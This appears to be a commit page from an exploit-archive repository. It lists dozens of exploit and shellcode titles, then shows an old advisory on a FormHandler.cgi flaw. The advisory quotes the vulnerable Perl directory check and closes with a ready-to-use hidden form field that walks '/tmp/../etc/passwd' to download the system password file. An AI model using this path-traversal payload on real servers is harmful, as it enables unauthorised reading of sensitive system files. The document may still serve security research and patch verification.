880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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1.2 KiB
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34 lines
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1.2 KiB
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source: https://www.securityfocus.com/bid/799/info
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Any file that the FormHandler.cgi has read access to (the cgi is typically run as user 'nobody' on Unix systems) can be specified as an attachment in a reply email. This could allow an attacker to gain access to sensitive files such as /etc/passwd simply by modifying the form document.
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@ALLOWED_ATTACH_DIRS = ('all'); # hmm, nice defaults ;)
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@RESTRICTED_ATTACH_DIRS = ('/etc/');
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[...]
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if (&valid_directory($filename)) { # let's check if file is allowed
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push(@files, $filename); [...] } # to send
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[...]
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sub valid_directory {
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local ($filename) = $_[0];
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local ($allowed_path, $restricted_path);
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local($valid_dir) = 0;
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if ($ALLOWED_ATTACH_DIRS[0] =~ /^all$/i) { $valid_dir = 1 }
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else {
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foreach $allowed_path (@ALLOWED_ATTACH_DIRS) {
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$valid_dir = ($filename =~ /^$allowed_path/); # silly ...
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last if $valid_dir;
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}
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}
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foreach $restricted_path (@RESTRICTED_ATTACH_DIRS) {
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$valid_dir = ($filename !~ /^$restricted_path/); # once more
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last if !$valid_dir;
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}
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return $valid_dir;
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}
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[...]
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How to d/l /etc/passwd ? Just add this to the form:
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<INPUT TYPE="hidden" NAME="reply_message_attach"
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VALUE="text:/tmp/../etc/passwd"> |